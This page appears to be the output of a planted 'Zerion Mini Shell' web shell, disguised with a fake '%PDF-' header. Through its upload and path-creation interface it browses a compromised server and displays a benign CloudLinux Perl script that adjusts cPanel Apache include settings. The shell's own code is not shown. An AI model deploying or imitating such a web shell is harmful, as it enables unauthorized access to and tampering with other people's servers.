%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/root/usr/share/lve/modlscapi/utils/
Upload File :
Create Path :
Current File : //proc/3/root/usr/share/lve/modlscapi/utils/checkconfdutil.pm

#!/usr/local/cpanel/3rdparty/bin/perl

# Copyright (c) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

BEGIN { unshift @INC, '/usr/local/cpanel', '/scripts'; }

my $pckg_name = 'Cpanel';
use strict;

eval "use " .$pckg_name . "::CPAN::Hash::Merge          ();";
if ($@){
    $pckg_name = 'cPScript';
    eval "use " .$pckg_name . "::CPAN::Hash::Merge       ();";
}

use strict;
use warnings;

#eval "use " .$pckg_name . "::CPAN::Hash::Merge              ();";
eval "use  " .$pckg_name . "::DataStore          ();";


no warnings 'uninitialized';

my $main_conf_ref = Cpanel::DataStore::fetch_ref('/var/cpanel/conf/apache/main');
my $ref_type=ref($main_conf_ref->{'main'}{'include'}{'items'});

my $etalon_ref={"main"=>{"include"=>{"directive"=>"include","items"=>[{include=>"\"/usr/local/apache/conf/conf.d/*\""}]}}};

if ($ref_type eq 'ARRAY'){
    my $res=$main_conf_ref->{'main'}{'include'}{'items'};
    my $find=0;
    my $empty_find=0;
    for(my $index=0;$index<@$res;$index++)
    {
       my $item_ref=@$res[$index];
       if ( !defined($item_ref->{'include'})) {
            $empty_find = 1;
       } else { 
           if ( index($item_ref->{'include'},"/usr/local/apache/conf/conf.d/*.conf")!=-1 ){
    	       $find=1;
           }
       }
    }
    if ( $find==0 ){
	for(my $index=0;$index<@$res;$index++)
	{
    	    my $item_ref=@$res[$index];
    	    if ( index($item_ref->{'include'},"/usr/local/apache/conf/conf.d/*")!=-1 ){
    		delete @$res[$index];
    	    }
	}
	push(@$res,{ "include"=>"\"/usr/local/apache/conf/conf.d/*.conf\"" });
	Cpanel::DataStore::store_ref( '/var/cpanel/conf/apache/main', $main_conf_ref );
    }
    if( $empty_find==1 ) {
	@$res = grep { defined $_ } @$res;
	Cpanel::DataStore::store_ref( '/var/cpanel/conf/apache/main', $main_conf_ref );
    }
} else {
    $main_conf_ref->{'main'} = Cpanel::CPAN::Hash::Merge::merge($main_conf_ref->{'main'}, $etalon_ref->{'main'});
    Cpanel::DataStore::store_ref( '/var/cpanel/conf/apache/main', $main_conf_ref );
}


















Zerion Mini Shell 1.0